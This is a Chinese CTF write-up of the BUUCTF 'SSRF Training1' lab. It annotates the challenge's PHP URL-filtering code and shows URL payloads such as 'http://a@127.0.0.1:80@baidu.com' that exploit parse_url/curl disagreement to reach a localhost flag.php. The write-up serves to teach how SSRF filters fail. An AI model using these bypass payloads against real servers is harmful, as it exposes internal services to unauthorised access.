BUUCTF [第二章 web进阶]SSRF Training1

1.尝试输入正确URL,能正常跳转

2.查看网页源码,发现challenge.php网页

3.进入challenge.php,学习源码

function check_inner_ip($url)  //获取url的域名,将域名转为ip,然后再判断这个ip是否是私有地址
{ 
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); 
    //将url与'匹配字段'进行匹配,返回匹配次数0或1
    //^从开头开始匹配
   	//? 匹配0或1个正好在它之前的那个字符。注意:这个元字符不是所有的软件都支持的
    //( )标记一个子表达式的开始和结束位置。子表达式可以获取供以后使用。要匹配这些字符,请使用 \( 和 \)
    //.	匹配除换行符 \n 之外的任何单字符。要匹配 . ,请使用 \. 
    //*	匹配前面的子表达式零次或多次。要匹配 * 字符,请使用 \*
    //$:从字符串末尾进行匹配

    if (!$match_result)   //判断结果是否为0
    { 
        die('url fomat error'); 
    } 
    try 
    { 
        $url_parse=parse_url($url);   //解析url 返回其组成部分
    } 
    catch(Exception $e) 
    { 
        die('url fomat error'); 
        return false; 
    } 
    $hostname=$url_parse['host']; 
    $ip=gethostbyname($hostname); 
    $int_ip=ip2long($ip);  //将ip地址转换为小数点 整形形式
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 
} 
function safe_request_url($url) 
{ 
     
    if (check_inner_ip($url))  //判断是否为私有地址
    { 
        echo $url.' is inner ip'; 
    } 
    else 
    {
        $ch = curl_init();  
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        $output = curl_exec($ch);   //抓住URL传给浏览器
        $result_info = curl_getinfo($ch); 
        if ($result_info['redirect_url']) 
        { 
            safe_request_url($result_info['redirect_url']); 
        } 
        curl_close($ch);   //关闭curl资源,并释放资源
        var_dump($output); //执行
    } 
     
} 

4.构造payload 绕过parse_url()

http://a@127.0.0.1:80@baidu.com 

 5.成功绕过后,访问flag.php 获得flag

challenge.php?url=http://@127.0.0.1:80@baidu.com/flag.php

 便捷方法:在url栏输入http://127.0.0.1/flag.php 即可成功访问

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值